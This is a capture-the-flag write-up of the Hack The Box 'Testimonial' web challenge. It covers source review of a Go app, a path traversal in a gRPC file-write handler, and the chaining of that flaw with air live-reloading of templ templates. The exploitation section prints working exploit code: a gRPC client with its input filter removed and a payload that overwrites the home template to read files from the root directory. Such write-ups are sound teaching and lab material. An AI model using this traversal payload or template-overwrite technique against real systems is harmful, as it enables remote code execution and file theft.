Testimonial Writeup - Cyber Apocalypse 2024
→ 1 Introduction
This writeup covers the Testimonial Web challenge from the Hack The Box Cyber Apocalypse 2024 CTF, which was rated as having an ‘easy’ difficulty. The challenge was a white box web application assessment, as the application source code was downloadable, including build scripts for building and deploying the application locally as a Docker container. Unlike most other web challenges, the challenge involved two vulnerable components:
- The exploitation of a file traversal vulnerability in a gRPC endpoint.
- The exploitation of a live reloading mechanism in a web application.
The description of the challenge is shown below.
→ 2 Key techniques
The key techniques employed in this writeup are:
- Manual go source code review
- File traversal vulnerability analysis and exploitation
- Adapting go code to deliver a payload to a gRPC endpoint
- RCE (remote code execution) by overwriting live reloaded code
→ 3 Artifacts Summary
The downloaded artifact had the following hash:
$ shasum -a256 web_testimonial.zip
01d1d100989137347a542e732699cd0d39bec084a71d5671970b98bffa3e3860 web_testimonial.zip
The zip file contained the following, indicating the application is a Go web application:
$ mkdir web_testimonial
$ unzip -d web_testimonial web_testimonial.zip
Archive: web_testimonial.zip
inflating: web_testimonial/build-docker.sh
creating: web_testimonial/challenge/
inflating: web_testimonial/challenge/go.sum
creating: web_testimonial/challenge/client/
inflating: web_testimonial/challenge/client/client.go
extracting: web_testimonial/challenge/.gitignore
inflating: web_testimonial/challenge/.air.toml
creating: web_testimonial/challenge/public/
creating: web_testimonial/challenge/public/js/
inflating: web_testimonial/challenge/public/js/bootstrap.min.js
creating: web_testimonial/challenge/public/testimonials/
inflating: web_testimonial/challenge/public/testimonials/2.txt
inflating: web_testimonial/challenge/public/testimonials/1.txt
inflating: web_testimonial/challenge/public/testimonials/3.txt
creating: web_testimonial/challenge/public/css/
inflating: web_testimonial/challenge/public/css/main.css
inflating: web_testimonial/challenge/public/css/bootstrap.min.css
creating: web_testimonial/challenge/view/
creating: web_testimonial/challenge/view/layout/
inflating: web_testimonial/challenge/view/layout/app.templ
creating: web_testimonial/challenge/view/home/
inflating: web_testimonial/challenge/view/home/index.templ
creating: web_testimonial/challenge/pb/
inflating: web_testimonial/challenge/pb/ptypes_grpc.pb.go
inflating: web_testimonial/challenge/pb/ptypes.pb.go
inflating: web_testimonial/challenge/pb/ptypes.proto
inflating: web_testimonial/challenge/grpc.go
inflating: web_testimonial/challenge/go.mod
creating: web_testimonial/challenge/handler/
inflating: web_testimonial/challenge/handler/shared.go
inflating: web_testimonial/challenge/handler/home.go
inflating: web_testimonial/challenge/main.go
inflating: web_testimonial/challenge/Makefile
creating: web_testimonial/challenge/tmp/
inflating: web_testimonial/challenge/tmp/build-errors.log
inflating: web_testimonial/Dockerfile
inflating: web_testimonial/entrypoint.sh
extracting: web_testimonial/flag.txt
→ 4 Mapping the application
→ 4.1 Mapping the application interactively
Unlike most web application challenges, this one spawned two listening ports
Visiting the first one in the Firefox browser, proxied via mitmproxy, resulted in The Fray’s official website:
Visiting the second one resulted in a 502 Bad Gateway error, with what appeared to be a pretty printed binary response. The purpose of this port will be revealed via source code analysis later in this writeup.
Near the bottom of the page for the first port was a testimonial submission form. Some simple values were submitted, resulting in a “Test testimonial” being returned in the response
→ 4.2 Mapping the application via source code review
To support the interactive mapping and to easily discover hidden endpoints and vulnerabilities, further mapping of the application was conducted via source code review.
→ 4.2.1 Dockerfile
The following were observed in Dockerfile
:
-
A
golang
1.22 base image is used -
The challenge code is copied to
/challenge/
-
The flag is copied to
/flag.txt
-
The downloaded go dependencies include air, which provides “Live reload for Go apps” and templ, which provides an “HTML templating language”
-
Two ports are exposed. These don’t have the same externally visible port numbers, since Docker supports a feature for mapping arbitrary externally visible ports to the internal ports.
-
entrypoint.sh
is called to start the app
→ 4.2.2 entrypoint.sh
entrypoint.sh
was observed to do the following:
-
Rename the flag file to a secure name with a 10 character lowercase hex suffix. This implies an RCE (remote code execution) vulnerability will likely be needed to obtain the flag.
-
Start the application via the air command, which is a “live-reloading command line utility for developing Go applications”
→ 4.2.3 go.mod
go.mod
was observed to do the following:
-
Name the module
htbchal
so local imports are expected to contain ahtbchal/
prefix: -
Declare the go version as 1.21.1:
→ 4.2.4 main.go
In main.go
, the main
function, which is the
entry point for a go application, starts
two servers:
-
An HTTP server with two routes, one for
/*
that serves thepublic
directory and one for/
that is handled by thehandler.HandleHomeIndex
handler. -
A gRPC server. We thus now know that the second port spawned by Docker is a Remote Procedure Call (RPC) interface.
func startGRPC() error { lis, err := net.Listen("tcp", ":50045") if err != nil { log.Fatal(err) } s := grpc.NewServer() pb.RegisterRickyServiceServer(s, &server{}) if err := s.Serve(lis); err != nil { log.Fatal(err) } return nil }
The
pb.RegisterRickyServiceServer
is imported from the challenge’s module:
→ 4.2.5 home.go
home.go
contains the HandleHomeIndex
handler for the /
route. This handler simply passes the
customer
and testimonial
query parameters down
to a SendTestimonial
function on line 49.
package handler
import (
"htbchal/client"
"htbchal/view/home"
"net/http"
)
func HandleHomeIndex(w http.ResponseWriter, r *http.Request) error {
customer := r.URL.Query().Get("customer")
testimonial := r.URL.Query().Get("testimonial")
if customer != "" && testimonial != "" {
c, err := client.GetClient()
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
}
if err := c.SendTestimonial(customer, testimonial); err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
}
}
return home.Index().Render(r.Context(), w)
}
→ 4.2.6 The RegisterRickyServiceServer gRPC server
The challenge/pb
directory contains three files
-
ptypes_grpc.pb.go
-
ptypes.pb.go
-
ptypes.proto
From Introduction to
gRPC, ptypes.proto
can be understood as declaring the
interface to the gRPC service, including the structure of the
messages:
syntax = "proto3";
option go_package = "/pb";
service RickyService {
rpc SubmitTestimonial(TestimonialSubmission) returns (GenericReply) {}
}
message TestimonialSubmission {
string customer = 1;
string testimonial = 2;
}
message GenericReply {
string message = 1;
}
ptypes.pb.go
contains code generated by
protoc-gen-go
, as indicated by the comment on line 1. The
code appears to be classes corresponding to the messages defined in
ptypes.proto
.
Similarly, ptypes_grpc.pb.go
contains code generated by
protoc-gen-go-grpc
and seems to be classes corresponding to
the services defined in ptypes.proto
.
grpc.go
contains the actual implementation of the
SubmitTestimonial
function for the
RickyService
, which is intended to serve the requested
testimonial from the public/testimonials
directory on line
19.
package main
import (
"context"
"errors"
"fmt"
"htbchal/pb"
"os"
)
func (s *server) SubmitTestimonial(ctx context.Context, req *pb.TestimonialSubmission) (*pb.GenericReply, error) {
if req.Customer == "" {
return nil, errors.New("Name is required")
}
if req.Testimonial == "" {
return nil, errors.New("Content is required")
}
err := os.WriteFile(fmt.Sprintf("public/testimonials/%s", req.Customer), []byte(req.Testimonial), 0644)
if err != nil {
return nil, err
}
return &pb.GenericReply{Message: "Testimonial submitted successfully"}, nil
}
→ 5 Vulnerability analysis - file traversal resulting in writing to arbitrary locations
Line 19 in the SubmitTestimonial
function contains a
file traversal vulnerability, which is an instance of the common
weakness CWE-23: Relative
Path Traversal. The code ostensibly allows submitters to write
testimonials under the public/testimonials/
directory but
the directory path is formed using attacker controlled input without any
defenses, allowing an attacker to traverse outside the intended
directory via the ../
relative path construct.
err := os.WriteFile(fmt.Sprintf("public/testimonials/%s", req.Customer), []byte(req.Testimonial), 0644)
However, as seen in home.go
, testimonials submitted via
the web application delegate to the SendTestimonial
function in client/client.go
. Line 46-7 contains input
validation that replaces many characters with an empty string, which
would cause ../
to be neutralized. Nevertheless, this
validation can be bypassed entirely because the challenge helpfully
exposes the gRPC server port itself.
func (c *Client) SendTestimonial(customer, testimonial string) error {
ctx := context.Background()
// Filter bad characters.
for _, char := range []string{"/", "\\", ":", "*", "?", "\"", "<", ">", "|", "."} {
customer = strings.ReplaceAll(customer, char, "")
}
_, err := c.SubmitTestimonial(ctx, &pb.TestimonialSubmission{Customer: customer, Testimonial: testimonial})
return err
}
→ 6 Vulnerability analysis - hot deploy/live reloading of templ templates
As previously observed, the application utilizes air to enable “Live reload for Go apps”. Whilst such a feature is useful for development, it should never be used in a production app. Chained with the file traversal vulnerability, it may be possible to write malicious code that will automatically be loaded by the application.
To understand the live reloading better, .air.toml
was
examined. Based on the examples,
the following was observed
-
air
is configured to build the app into the./tmp/main
directory -
air
is configured to only watch some file extensions. Notably,.go
files are omitted. However,templ
extensions are included.
Examining index.templ
, it was observed the template
contains go code. Indeed, the templ documentation advertises “Use Go:
Call any Go code, and use standard if, switch, and for statements”.
func GetTestimonials() []string {
fsys := os.DirFS("public/testimonials")
files, err := fs.ReadDir(fsys, ".")
if err != nil {
return []string{fmt.Sprintf("Error reading testimonials: %v", err)}
}
var res []string
for _, file := range files {
fileContent, _ := fs.ReadFile(fsys, file.Name())
res = append(res, string(fileContent))
}
return res
}
Furthermore, the GetTestimonials
function already reads
files and writes their contents to the response. Therefore, if the first
line of the function were to be modified via the file traversal
vulnerability to read files from /
, air
would
reload this code and the flag file would be returned in the response the
next time the home page was loaded.
func GetTestimonials() []string {
//fsys := os.DirFS("public/testimonials")
fsys := os.DirFS("/")
files, err := fs.ReadDir(fsys, ".")
if err != nil {
return []string{fmt.Sprintf("Error reading testimonials: %v", err)}
}
var res []string
for _, file := range files {
fileContent, _ := fs.ReadFile(fsys, file.Name())
res = append(res, string(fileContent))
}
return res
}
→ 7 Exploitation
→ 7.1 Adapting the challenge code to submit the payload to the gRPC server
The attack chain now appeared to be clear:
-
Construct a
index.templ
containing a modifiedGetTestimonials
function that reads files from/
-
Overwrite the deployed
index.templ
by exploiting the file traversal vulnerability in the gRPCSubmitTestimonial
function, causingair
to reload the template. - Reload the home page to view the flag.
Code was written to achieve steps 1 and 2 by taking skeleton code
from the challenge and modifying it. A grpc-sandpit
directory was created containing the following files:
$ find grpc-sandpit/
grpc-sandpit/
grpc-sandpit/grpc.go
grpc-sandpit/README.md
grpc-sandpit/main.go
grpc-sandpit/go.sum
grpc-sandpit/pb
grpc-sandpit/pb/ptypes.proto
grpc-sandpit/pb/ptypes_grpc.pb.go
grpc-sandpit/pb/ptypes.pb.go
grpc-sandpit/client
grpc-sandpit/client/client.go
grpc-sandpit/go.mod
The files that were identical to the challenge were:
$ diff -sr grpc-sandpit/ artifacts/web_testimonial/challenge/ | grep identical
Files grpc-sandpit/go.sum and artifacts/web_testimonial/challenge/go.sum are identical
Files grpc-sandpit/grpc.go and artifacts/web_testimonial/challenge/grpc.go are identical
Files grpc-sandpit/pb/ptypes_grpc.pb.go and artifacts/web_testimonial/challenge/pb/ptypes_grpc.pb.go are identical
Files grpc-sandpit/pb/ptypes.pb.go and artifacts/web_testimonial/challenge/pb/ptypes.pb.go are identical
Files grpc-sandpit/pb/ptypes.proto and artifacts/web_testimonial/challenge/pb/ptypes.proto are identical
The changed files were the following:
-
client/client.go
was modified as follows:-
Line 8: comment out the
strings
import. - Line 33: change the gRPC endpoint IP address and port.
-
Lines 47-5: remove input filtering in the
SendTestimonial
function.
package client import ( "context" "fmt" "log" "htbchal/pb" //"strings" "sync" "google.golang.org/grpc" ) var ( grpcClient *Client mutex *sync.Mutex ) func init() { grpcClient = nil mutex = &sync.Mutex{} } type Client struct { pb.RickyServiceClient } func GetClient() (*Client, error) { mutex.Lock() defer mutex.Unlock() if grpcClient == nil { conn, err := grpc.Dial(fmt.Sprintf("94.237.54.164%s", ":55951"), grpc.WithInsecure()) if err != nil { //return nil, err log.Fatal(err) } grpcClient = &Client{pb.NewRickyServiceClient(conn)} } return grpcClient, nil } func (c *Client) SendTestimonial(customer, testimonial string) error { ctx := context.Background() // Filter bad characters. //for _, char := range []string{"/", "\\", ":", "*", "?", "\"", "<", ">", "|", "."} { // customer = strings.ReplaceAll(customer, char, "") //} _, err := c.SubmitTestimonial(ctx, &pb.TestimonialSubmission{Customer: customer, Testimonial: testimonial}) return err }
-
Line 8: comment out the
-
In
main.go
:-
Line 14: sets
customer
variable to the relative path of theindex.templ
-
Line 15: sets the testimonial to a multi-line string containing a
version of
index.templ
modified on lines 94-5 to read file content from/
instead ofpublic/testimonials/
. - Line 122: sends the testimonial to the gRPC endpoint.
package main import ( "htbchal/client" "htbchal/pb" "log" ) func main() { c, err := client.GetClient() if err != nil { log.Fatal(err) } customer := "../../view/home/index.templ" testimonial := `package home import ( "htbchal/view/layout" "io/fs" "fmt" "os" ) templ Index() { @layout.App(true) { <nav class="navbar navbar-expand-lg navbar-dark bg-black"> <div class="container-fluid"> <a class="navbar-brand" href="/">The Fray</a> <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarNav" aria-controls="navbarNav" aria-expanded="false" aria-label="Toggle navigation"> <span class="navbar-toggler-icon"></span> </button> <div class="collapse navbar-collapse" id="navbarNav"> <ul class="navbar-nav ml-auto"> <li class="nav-item active"> <a class="nav-link" href="/">Home</a> </li> <li class="nav-item"> <a class="nav-link" href="javascript:void();">Factions</a> </li> <li class="nav-item"> <a class="nav-link" href="javascript:void();">Trials</a> </li> <li class="nav-item"> <a class="nav-link" href="javascript:void();">Contact</a> </li> </ul> </div> </div> </nav> <div class="container"> <section class="jumbotron text-center"> <div class="container mt-5"> <h1 class="display-4">Welcome to The Fray</h1> <p class="lead">Assemble your faction and prove you're the last one standing!</p> <a href="javascript:void();" class="btn btn-primary btn-lg">Get Started</a> </div> </section> <section class="container mt-5"> <h2 class="text-center mb-4">What Others Say</h2> <div class="row"> @Testimonials() </div> </section> <div class="row mt-5 mb-5"> <div class="col-md"> <h2 class="text-center mb-4">Submit Your Testimonial</h2> <form method="get" action="/"> <div class="form-group"> <label class="mt-2" for="testimonialText">Your Testimonial</label> <textarea class="form-control mt-2" id="testimonialText" rows="3" name="testimonial"></textarea> </div> <div class="form-group"> <label class="mt-2" for="testifierName">Your Name</label> <input type="text" class="form-control mt-2" id="testifierName" name="customer"/> </div> <button type="submit" class="btn btn-primary mt-4">Submit Testimonial</button> </form> </div> </div> </div> <footer class="bg-black text-white text-center py-3"> <p>© 2024 The Fray. All Rights Reserved.</p> </footer> } } func GetTestimonials() []string { //fsys := os.DirFS("public/testimonials") fsys := os.DirFS("/") files, err := fs.ReadDir(fsys, ".") if err != nil { return []string{fmt.Sprintf("Error reading testimonials: %v", err)} } var res []string for _, file := range files { fileContent, _ := fs.ReadFile(fsys, file.Name()) res = append(res, string(fileContent)) } return res } templ Testimonials() { for _, item := range GetTestimonials() { <div class="col-md-4"> <div class="card mb-4"> <div class="card-body"> <p class="card-text">"{item}"</p> <p class="text-muted">- Anonymous Testifier!!!</p> </div> </div> </div> } } ` if err := c.SendTestimonial(customer, testimonial); err != nil { log.Fatal(err) } } type server struct { pb.RickyServiceServer }
-
Line 14: sets
→ 7.2 Delivering the payload
Wireshark was started before executing the payload, as it is useful to observe network traffic when delivering payloads - it can greatly assist with troubleshooting. The exploit code was built and executed:
$ go build && ./htbchal
In Wireshark, after following the TCP stream the payload was observed to have been successfully submitted.
→ 7.3 Obtaining the flag
The home page was reloaded, revealing the flag in the lower right
testimonial. As an aside, the lower left testimonial appeared to be the
contents of entrypoint.sh
, since the exploit reads all
files in /
.
→ 8 Conclusion
The flag was submitted and the challenge was marked as pwned